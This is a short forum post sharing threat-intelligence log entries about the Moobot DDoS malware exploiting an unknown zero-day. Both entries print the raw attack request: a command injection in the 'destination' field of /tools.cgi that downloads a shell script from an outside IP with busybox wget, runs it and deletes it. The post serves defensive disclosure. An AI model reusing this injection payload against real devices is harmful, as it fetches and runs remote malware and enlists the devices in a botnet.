Unknown zero-day used by Moobot (DDoS malware)

2 pointsby bad_packetshá 6 anos1 comments

Source IP: 93.174.93.139 Country: Netherlands User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Payload: POST /tools.cgi HTTP/1.1 POST Data: "op_type=ping&destination=;cd /tmp;busybox wget http://45.95.168.248/usb.sh;chmod 777 usb.sh;sh usb.sh;rm -rf usb.sh&user_options=\x0D\x0A" Target Port: 8080 Bad Packets® Tags: Unknown Zero-Day Date First Seen: 2020-07-22T15:47:02Z Date Last Seen: 2020-07-22T15:47:02Z Event Count: 1

Source IP: 93.174.93.139 Country: Netherlands User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Payload: POST /tools.cgi HTTP/1.1 POST Data: "op_type=ping&destination=;cd /tmp;busybox wget http://45.95.168.248/usb.sh;chmod 777 usb.sh;sh usb.sh;rm -rf usb.sh&user_options=\x0D\x0A" Target Port: 80 Bad Packets® Tags: Unknown Zero-Day Date First Seen: 2020-07-22T12:15:16Z Date Last Seen: 2020-07-22T15:32:57Z Event Count: 23

1 comments

bad_packetshá 6 anos

Human readable format: https://pastebin.com/E7L84W5P